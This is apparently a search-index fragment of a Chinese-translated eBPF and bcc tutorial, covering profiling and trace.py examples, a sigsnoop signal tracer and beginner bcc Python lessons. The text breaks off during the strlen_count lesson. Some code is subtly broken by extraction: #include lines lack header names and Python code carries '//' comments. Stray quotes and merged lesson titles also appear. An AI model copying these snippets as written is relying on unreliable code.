这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。 更多 示例 。 1.11. 分析 # ./profile\n以每秒49次的频率对所有线程进行采样，包括用户和内核栈...按Ctrl-C结束。\n^C 00007f31d76c3251 [未知] 47a2c1e752bf47f7 [未知] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [未知] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile是一个CPU分析工具，它在定时间隔内采样堆栈跟踪，并打印唯一堆栈跟踪的摘要及其出现次数。 使用此工具来了解消耗CPU资源的代码路径。 更多 示例 。","breadcrumbs":"bcc Tutorial » 1. 性能分析","id":"369","title":"1. 性能分析"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"370":{"body":"除了上述用于性能调整的工具外，下面是一个bcc通用工具的清单，首先是一个列表，然后详细说明： trace argdist funccount这些通用工具可能有助于解决您特定问题的可视化。 2.1. 跟踪 示例 1 假设您想要跟踪文件所有权更改。有三个系统调用，chown、fchown和lchown，用户可以使用它们来更改文件所有权。相应的系统调用入口是SyS_[f|l]chown。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用id命令查找特定用户的UID。 $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 示例 2 假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换（nvcsw），而您不知道正确的方法是什么。/proc//status已经告诉您进程的非自愿上下文切换（nonvoluntary_ctxt_switches）的数量，并且您可以使用trace.py进行快速实验以验证您的方法。根据内核源代码，nvcsw在文件linux/kernel/sched/core.c的__schedule函数中计数，并满足以下条件： .!(!preempt && prev->state) // 即 preempt || !prev->state __schedule 函数被标记为 notrace ，评估上述条件的最佳位置似乎在函数 __schedule 内部的 sched/sched_switch 跟踪点中，并且在 linux/include/trace/events/sched.h 中定义。trace.py 已经将 args 设置为跟踪点 TP_STRUCT__entry 的指针。函数 __schedule 中的上述条件可以表示为 args->prev_state == TASK_STATE_MAX || args->prev_state == 0 可以使用以下命令来计算非自愿上下文切换（每个进程或每个进程ID），并与 /proc//status 或 /proc//task//status 进行比较，以确保正确性，因为在典型情况下，非自愿上下文切换并不常见。 $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... 示例 3 此示例与问题 1231 和 1516 相关，其中在某些情况下，uprobes 完全无法工作。首先，你可以执行以下 strace $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... perf_event_open系统调用返回-EIO。在/kernel/trace和/kernel/events目录中查找与EIO相关的内核uprobe代码，函数uprobe_register最可疑。让我们找出是否调用了这个函数，如果调用了，返回值是什么。在一个终端中使用以下命令打印出uprobe_register的返回值： trace.py 'r::uprobe_register \"ret = %d\", retval' 在另一个终端中运行相同的bash uretprobe跟踪示例，您应该得到： $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 错误代码-5是EIO。这证实了函数uprobe_register中的以下代码是最可疑的罪魁祸首。 if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; shmem_mapping函数定义如下： bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} 为了确认这个理论，使用以下命令找出inode->i_mapping->a_ops的值： $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops 内核符号empty_aops没有定义readpage，因此上述可疑条件为真。进一步检查内核源代码显示，overlayfs没有提供自己的a_ops，而其他一些文件系统（例如ext4）定义了自己的a_ops（例如ext4_da_aops），并且ext4_da_aops定义了readpage。因此，uprobe对于ext4正常工作，但在overlayfs上不正常工作。 更多 示例 。 2.2. argdist\"。更多 示例 2.3. funccount 更多 示例 .","breadcrumbs":"bcc Tutorial » 2. 使用通用工具进行可观察性","id":"370","title":"2. 使用通用工具进行可观察性"},"371":{"body":"To do.","breadcrumbs":"bcc Tutorial » 网络","id":"371","title":"网络"},"372":{"body":"本教程介绍使用 Python 接口开发 bcc 工具和程序。分为两个部分：可观测性和网络。代码片段取自 bcc 的各个程序，请查阅其文件以了解许可证情况。 还请参阅 bcc 开发者的 参考指南 ，以及针对工具的用户的教程： 教程 。还有适用于 bcc 的 lua 接口。","breadcrumbs":"bcc Python Developer Tutorial » bcc Python 开发者教程","id":"372","title":"bcc Python 开发者教程"},"373":{"body":"这个可观测性教程包含17个课程和46个要学习的枚举事项。","breadcrumbs":"bcc Python Developer Tutorial » 可观测性","id":"373","title":"可观测性"},"374":{"body":"首先运行 examples/hello_world.py ，同时在另一个会话中运行一些命令（例如，“ls”）。它应该会为新进程打印“Hello, World!”。如果没有打印，请先修复bcc：请参阅 INSTALL.md 。 # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] 以下是 hello_world.py 的代码示例： from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() 从中可以学到六件事情： text='...'：这定义了内联的 BPF 程序。该程序是用 C 编写的。 kprobe__sys_clone()：这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以 kprobe__ 开头，其余部分将被视为要定位的内核函数名称，本例中为 sys_clone()。 void *ctx：ctx 是参数，但由于我们在此处未使用它们，所以我们将其转换为 void* 类型。 bpf_trace_printk(): 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的，但有一些限制：最多只有 3 个参数，只能有一个 %s，并且 trace_pipe 是全局共享的，所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的，稍后会介绍。 return 0;: 必要的规范性代码（如果想知道原因，请参见 #139 ）。 .trace_print(): 一个读取 trace_pipe 并打印输出的 bcc 程序。","breadcrumbs":"bcc Python Developer Tutorial » 第1课. 你好，世界","id":"374","title":"第1课. 你好，世界"},"375":{"body":"编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 \"sys_sync() called\"。在跟踪时，在另一个会话中运行 sync 进行测试。hello_world.py 程序中包含了这一切所需的内容。 通过在程序刚启动时打印 \"Tracing sys_sync()... Ctrl-C to end.\" 来改进它。提示：它只是 Python 代码。","breadcrumbs":"bcc Python Developer Tutorial » 第二课 sys_sync()","id":"375","title":"第二课 sys_sync()"},"376":{"body":"该程序位于 examples/tracing/hello_fields.py 。样本输出（在另一个会话中运行命令）： # examples/tracing/hello_fields.py\n时间(s) 进程名 进程 ID 消息\n24585001.174885999 sshd 1432 你好，世界！\n24585001.195710000 sshd 15780 你好，世界！\n24585001.991976000 systemd-udevd 484 你好，世界！\n24585002.276147000 bash 15787 你好，世界！ 代码： from bcc import BPF # 定义 BPF 程序\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\" # 加载 BPF 程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # 头部\nprint(\"%-18s %-16s %-6s %s\" % (\"时间(s)\", \"进程名\", \"进程 ID\", \"消息\")) # 格式化输出\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 这与hello_world.py类似，并通过sys_clone()再次跟踪新进程，但是还有一些要学习的内容： prog =：这次我们将C程序声明为变量，然后引用它。如果您想根据命令行参数添加一些字符串替换，这将非常有用。 hello()：现在我们只是声明了一个C函数，而不是使用kprobe__的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行，因此它们都需要以pt_reg* ctx作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数，则需要将其定义为static inline，以便由编译器内联。有时您还需要为其添加_always_inline函数属性。 b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\")：为内核clone系统调用函数创建一个kprobe，该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe()，并将您的C函数附加到多个内核函数上。 b.trace_fields()：从trace_pipe中返回一组固定的字段。与trace_print()类似，它对于编写脚本很方便，但是对于实际的工具化需求，我们应该切换到BPF_PERF_OUTPUT()。","breadcrumbs":"bcc Python Developer Tutorial » 第三课 hello_fields.py","id":"376","title":"第三课 hello_fields.py"},"377":{"body":"还记得以前系统管理员在缓慢的控制台上输入sync三次然后才重启吗？后来有人认为sync;sync;sync很聪明，将它们都写在一行上运行，尽管这违背了最初的目的！然后，sync变成了同步操作，所以更加愚蠢。无论如何。 以下示例计算了do_sync函数被调用的速度，并且如果它在一秒钟之内被调用，则输出信息。sync;sync;sync将为第2个和第3个sync打印输出： # examples/tracing/sync_timing.py\n追踪快速sync... 按Ctrl-C结束\"。 在时间0.00秒时：检测到多个同步，上次发生在95毫秒前 在时间0.10秒时：检测到多个同步，上次发生在96毫秒前 此程序是 examples/tracing/sync_timing.py ： from __future__ import print_function\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\n#include  BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // 尝试读取存储的时间戳 tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // 时间小于1秒则输出 bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // 更新存储的时间戳 ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"跟踪快速同步... 按Ctrl-C结束\") # 格式化输出\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"在时间%.2f秒处：检测到多个同步，上次发生在%s毫秒前\" % (ts, ms)) 学习内容： bpf_ktime_get_ns(): 返回时间，单位为纳秒。 BPF_HASH(last): 创建一个BPF映射对象，类型为哈希（关联数组），名为\"last\"。我们没有指定其他参数，因此默认的键和值类型为u64。 key = 0: 我们只会在哈希中存储一个键值对，其中键被硬编码为零。 last.lookup(&key): 在哈希中查找键，并如果存在则返回其值的指针，否则返回NULL。我们将键作为指针的地址传递给该函数。 if (tsp != NULL) {: 验证器要求在将从映射查找得到的指针值解引用使用之前，必须先检查其是否为null。1. last.delete(&key): 从哈希表中删除key。目前需要这样做是因为 .update()中存在一个内核错误 （在4.8.10中已经修复）。 last.update(&key, &ts): 将第二个参数的值与key关联起来，覆盖之前的任何值。这会记录时间戳。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"377","title":"Lesson 4. sync_timing.py"},"378":{"body":"修改sync_timing.py程序（前一课）以存储所有内核同步系统调用（包括快速和慢速）的计数，并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。","breadcrumbs":"bcc Python Developer Tutorial » 第5课. sync_count.py","id":"378","title":"第5课. sync_count.py"},"379":{"body":"浏览 examples/tracing/disksnoop.py 程序以了解新内容。以下是一些示例输出： # disksnoop.py\n时间(s) T 字节 延迟(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] 以及代码片段： [...]\nREQ_WRITE = 1 # 来自include/linux/blk_types.h # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // 使用请求指针存储开始时间戳 u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\") else: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\") [...] 学习内容： REQ_WRITE: 我们在Python程序中定义了一个内核常量，因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE，它应该可以正常工作（无需定义），只需使用适当的#includes。 trace_start(struct pt_regs *ctx, struct request*req): 这个函数将在后面附加到kprobe上。kprobe函数的参数是struct pt_regs *ctx，用于寄存器和BPF上下文，然后是函数的实际参数。我们将把它附加到blk_start_request()上，其中第一个参数是struct request*。 start.update(&req, &ts): 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键，因为它们是唯一的：两个结构体不能具有相同的指针地址。（只需小心何时释放和重用指针。）所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳，以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID（用于记录函数入口到返回的时间）。 req->__data_len: 我们在解引用struct request的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列bpf_probe_read_kernel()调用。有时bcc无法处理复杂的解引用，此时您需要直接调用bpf_probe_read_kernel()。 这是一个非常有趣的程序，如果您能理解所有的代码，您就会理解很多重要的基础知识。我们仍然在使用bpf_trace_printk()的技巧，我们下一步要解决这个问题。","breadcrumbs":"bcc Python Developer Tutorial » 第6课. disksnoop.py","id":"379","title":"第6课. disksnoop.py"},"38":{"body":"示例代码如下： #include \n#include \n#include  #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d \", eventp->pid, eventp->comm, eventp->sig); bpf_printk(\"to PID %d, ret = %d\", eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"380":{"body":"让我们最终停止使用bpf_trace_printk()，并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员，如PID和时间戳，并且需要直接获取它们。在另一个会话中运行命令时的示例输出 # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 你好，perf_output！\n0.021080275 systemd-udevd 484 你好，perf_output！\n0.021359520 systemd-udevd 484 你好，perf_output！\n0.021590610 systemd-udevd 484 你好，perf_output！\n[...] 代码位于 examples/tracing/hello_perf_output.py ： from bcc import BPF // 定义BPF程序\nprog = \"\"\"\n#include  // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" // 加载BPF程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") //标题\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) //处理事件\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"你好，perf_output！\")) //循环并回调print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() 学习的内容： struct data_t: 这定义了一个C结构体，我们将用它来从内核传递数据到用户空间。1. BPF_PERF_OUTPUT(events): 这里给我们的输出通道命名为\"events\"。 struct data_t data = {};: 创建一个空的data_t结构体，我们将在之后填充它。 bpf_get_current_pid_tgid(): 返回低32位的进程ID（内核视图中的PID，用户空间中通常被表示为线程ID），以及高32位的线程组ID（用户空间通常认为是PID）。通过直接将其设置为u32，我们丢弃了高32位。应该显示PID还是TGID？对于多线程应用程序，TGID将是相同的，所以如果你想要区分它们，你需要PID。这也是对最终用户期望的一个问题。 bpf_get_current_comm(): 将当前进程的名称填充到第一个参数的地址中。 events.perf_submit(): 通过perf环形缓冲区将事件提交给用户空间以供读取。 def print_event(): 定义一个Python函数来处理从events流中读取的事件。 b[\"events\"].event(data): 现在将事件作为一个Python对象获取，该对象是根据C声明自动生成的。 b[\"events\"].open_perf_buffer(print_event): 将Python的print_event函数与events流关联起来。 while 1: b.perf_buffer_poll(): 阻塞等待事件。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"380","title":"Lesson 7. hello_perf_output.py"},"381":{"body":"重写之前的课程中的sync_timing.py，使用BPF_PERF_OUTPUT。","breadcrumbs":"bcc Python Developer Tutorial » 第八课。 sync_perf_output.py","id":"381","title":"第八课。 sync_perf_output.py"},"382":{"body":"以下工具记录了磁盘I/O大小的直方图。样本输出： # bitehist.py\n跟踪中... 按Ctrl-C结束。\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | |\".32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 代码在 examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # 头部\nprint(\"跟踪中... 按Ctrl-C结束.\") # 跟踪直到按下Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # 输出\nb[\"dist\"].print_log2_hist(\"kbytes\") 之前课程的总结： kprobe__: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。 struct pt_regs *ctx, struct request*req: kprobe的参数。ctx 是寄存器和BPF上下文，req 是被插桩函数 blk_account_io_done() 的第一个参数。 req->__data_len: 解引用该成员。 新知识： BPF_HISTOGRAM(dist): 定义了一个名为 \"dist\" 的BPF映射对象，它是一个直方图。 dist.increment(): 默认情况下，将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。 bpf_log2l(): 返回所提供值的对数值。这将成为我们直方图的索引，这样我们构建了一个以2为底的幂直方图。 b[\"dist\"].print_log2_hist(\"kbytes\"): 以2为底的幂形式打印 \"dist\" 直方图，列标题为 \"kbytes\"。这样只有桶计数从内核传输到用户空间，因此效率高。","breadcrumbs":"bcc Python Developer Tutorial » 第九课。 bitehist.py","id":"382","title":"第九课。 bitehist.py"},"383":{"body":"这个例子分为独立的Python和C文件。示例输出： # vfsreadlat.py 1\n跟踪中... 按Ctrl-C停止。 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | 微秒 : 数量 分布 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ |```.32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] 浏览 examples/tracing/vfsreadlat.py 和 examples/tracing/vfsreadlat.c 中的代码。 学习的内容: b = BPF(src_file = \"vfsreadlat.c\"): 从单独的源代码文件中读取 BPF C 程序。 b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): 将 BPF C 函数 do_return() 链接到内核函数 vfs_read() 的返回值上。这是一个 kretprobe：用于检测函数返回值，而不是函数的入口。 b[\"dist\"].clear(): 清除直方图。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py","id":"383","title":"Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py"},"384":{"body":"当运行 dd if=/dev/urandom of=/dev/null bs=8k count=5 时进行跟踪： # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 哈！我意外地捕捉到了 smtp。代码在 examples/tracing/urandomread.py 中： from __future__ import print_function\".```python\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 要学到的东西： TRACEPOINT_PROBE(random, urandom_read): 对内核跟踪点 random:urandom_read 进行注入。这些具有稳定的API，因此在可能的情况下建议使用它们来代替kprobe。您可以运行 perf list 来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。 args->got_bits: args 是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如： # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type; offset:0; size:2; signed:0; field:unsigned char common_flags; offset:2; size:1; signed:0; field:unsigned char common_preempt_count; offset:3; size:1; signed:0; field:int common_pid; offset:4; size:4; signed:1; field:int got_bits; offset:8; size:4; signed:1; field:int pool_left; offset:12; size:4; signed:1; field:int input_left; offset:16; size:4; signed:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left 在这种情况下，我们正在打印 got_bits 成员。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"384","title":"Lesson 12. urandomread.py"},"385":{"body":"将上一课的 disksnoop.py 修改为使用 block:block_rq_issue 和 block:block_rq_complete 跟踪点。","breadcrumbs":"bcc Python Developer Tutorial » 第13课. disksnoop.py已修复","id":"385","title":"第13课. disksnoop.py已修复"},"386":{"body":"这个程序对用户级函数进行插桩，其中包括 strlen() 库函数，并对其字符串参数进行频率统计。例如输出 # strlen_count.py\n跟踪 strlen()... 按 Ctrl-C 结束。\n^C 数量 字符串 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" 这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如，\"LC_ALL\" 被调用了12次。 代码在 examples/tracing/strlen_count.py 中： from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 载入 BPF 